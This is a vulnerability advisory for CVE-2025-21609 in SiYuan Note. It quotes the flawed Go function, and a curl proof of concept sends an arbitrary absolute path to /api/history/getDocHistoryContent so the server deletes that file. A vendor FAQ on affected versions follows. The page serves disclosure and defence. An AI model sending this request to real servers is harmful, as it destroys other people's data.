CVE-2025-21609

A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.

Details

The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.

Sending a request to the /api/history/getDocHistoryContent like:

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.

The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.

In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.

if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll

func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
	if !gulu.File.IsExist(historyPath) {
		logging.LogWarnf("doc history [%s] not exist", historyPath)
		return
	}

	data, err := filelock.ReadFile(historyPath)
	if err != nil {
		logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
		return
	}
	isLargeDoc = 1024*1024*1 <= len(data)

	luteEngine := NewLute()
	historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
	if err != nil {
		logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
		os.RemoveAll(historyPath)
		return
	}
	...
}

PoC

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

arbitrary file deletion vulnerability

Kodem intelligence

1. What is CVE-2025-21609? CVE-2025-21609 is a high-severity security vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20250103014808-d9887aeec1b2. No fixed version is listed yet.
2. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2025-21609? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20250103014808-d9887aeec1b2 is affected.
3. Is there a fix for CVE-2025-21609? No fixed version is listed for CVE-2025-21609 yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is CVE-2025-21609 exploitable, and should I be worried? Whether CVE-2025-21609 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-21609 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.